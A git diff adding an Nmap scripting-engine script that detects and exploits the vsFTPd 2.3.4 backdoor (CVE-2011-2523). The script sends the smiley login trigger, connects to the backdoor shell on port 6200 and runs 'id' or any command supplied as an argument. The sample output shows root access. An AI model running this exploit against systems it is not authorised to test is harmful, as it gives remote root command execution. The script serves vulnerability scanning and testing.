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diff --git a/scripts/ftp-vsftpd-backdoor.nse b/scripts/ftp-vsftpd-backdoor.nse
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+++ b/scripts/ftp-vsftpd-backdoor.nse
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+local ftp = require "ftp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local vulns = require "vulns"
+
+description = [[
+Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04
+(CVE-2011-2523). This script attempts to exploit the backdoor using the
+innocuous <code>id</code> command by default, but that can be changed with
+the <code>exploit.cmd</code> or <code>ftp-vsftpd-backdoor.cmd</code> script
+arguments.
+
+References:
+
+* http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
+* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+* http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523
+]]
+
+---
+-- @usage
+-- nmap --script ftp-vsftpd-backdoor -p 21 <host>
+--
+-- @args ftp-vsftpd-backdoor.cmd Command to execute in shell
+--       (default is <code>id</code>).
+--
+-- @output
+-- PORT   STATE SERVICE
+-- 21/tcp open  ftp
+-- | ftp-vsftpd-backdoor:
+-- |   VULNERABLE:
+-- |   vsFTPd version 2.3.4 backdoor
+-- |     State: VULNERABLE (Exploitable)
+-- |     IDs:  CVE:CVE-2011-2523  BID:48539
+-- |     Description:
+-- |       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
+-- |     Disclosure date: 2011-07-03
+-- |     Exploit results:
+-- |       The backdoor was already triggered
+-- |       Shell command: id
+-- |       Results: uid=0(root) gid=0(root) groups=0(root)
+-- |     References:
+-- |       https://www.securityfocus.com/bid/48539
+-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
+-- |       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
+-- |_      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+--
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "malware", "vuln"}
+
+
+local CMD_FTP = "USER X:)\r\nPASS X\r\n"
+local CMD_SHELL_ID = "id"
+
+portrule = function (host, port)
+  -- Check if version detection knows what FTP server this is.
+  if port.version.product ~= nil and port.version.product ~= "vsftpd" then
+    return false
+  end
+
+  -- Check if version detection knows what version of FTP server this is.
+  if port.version.version ~= nil and port.version.version ~= "2.3.4" then
+    return false
+  end
+
+  return shortport.port_or_service(21, "ftp")(host, port)
+end
+
+local function finish_ftp(socket, status, message)
+  if socket then
+    socket:close()
+  end
+  return status, message
+end
+
+-- Returns true, results  if vsFTPd was backdoored
+local function check_backdoor(host, shell_cmd, vuln)
+  local socket = nmap.new_socket("tcp")
+  socket:set_timeout(10000)
+
+  local status, ret = socket:connect(host, 6200, "tcp")
+  if not status then
+    return finish_ftp(socket, false, "can't connect to tcp port 6200")
+  end
+
+  status, ret = socket:send(CMD_SHELL_ID.."\n")
+  if not status then
+    return finish_ftp(socket, false, "failed to send shell command")
+  end
+
+  status, ret = socket:receive_lines(1)
+  if not status then
+    return finish_ftp(socket, false,
+      string.format("failed to read shell command results: %s",
+      ret))
+  end
+
+  if not ret:match("uid=") then
+    return finish_ftp(socket, false, "service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE")
+  end
+
+  vuln.state = vulns.STATE.EXPLOIT
+  table.insert(vuln.exploit_results,
+    string.format("Shell command: %s", CMD_SHELL_ID))
+  local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
+  table.insert(vuln.exploit_results,
+    string.format("Results: %s", result))
+
+  if shell_cmd ~= CMD_SHELL_ID then
+    status, ret = socket:send(shell_cmd.."\n")
+    if status then
+      status, ret = socket:receive_lines(1)
+      if status then
+        table.insert(vuln.exploit_results,
+          string.format("Shell command: %s", shell_cmd))
+        result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
+        table.insert(vuln.exploit_results,
+          string.format("Results: %s", result))
+      end
+    end
+  end
+
+  socket:send("exit\n");
+
+  return finish_ftp(socket, true)
+end
+
+action = function(host, port)
+  -- Get script arguments.
+  local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
+  stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
+
+  local vsftp_vuln = {
+    title = "vsFTPd version 2.3.4 backdoor",
+    IDS = {CVE = 'CVE-2011-2523', BID = '48539'},
+    description = [[
+vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
+    references = {
+      'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
+      'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb',
+    },
+    dates = {
+      disclosure = {year = '2011', month = '07', day = '03'},
+    },
+    exploit_results = {},
+  }
+  local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+  -- check to see if the vsFTPd backdoor was already triggered
+  local status, ret = check_backdoor(host, cmd, vsftp_vuln)
+  if status then
+    return report:make_output(vsftp_vuln)
+  end
+
+  -- Create socket.
+  local sock, code, message, buffer = ftp.connect(host, port,
+    {request_timeout = 8000})
+  if not sock then
+    stdnse.debug1("can't connect: %s", code)
+    return nil
+  end
+
+  -- Read banner.
+  if not code then
+    stdnse.debug1("can't read banner: %s", message)
+    sock:close()
+    return nil
+  end
+
+  status, ret = sock:send(CMD_FTP .. "\r\n")
+  if not status then
+    stdnse.debug1("failed to send privilege escalation command: %s", ret)
+    return nil
+  end
+
+  stdnse.sleep(1)
+  -- check if vsFTPd was backdoored
+  status, ret = check_backdoor(host, cmd, vsftp_vuln)
+  if not status then
+    stdnse.debug1("%s", ret)
+    vsftp_vuln.state = vulns.STATE.NOT_VULN
+    return report:make_output(vsftp_vuln)
+  end
+
+  -- delay ftp socket cleaning
+  sock:close()
+  return report:make_output(vsftp_vuln)
+end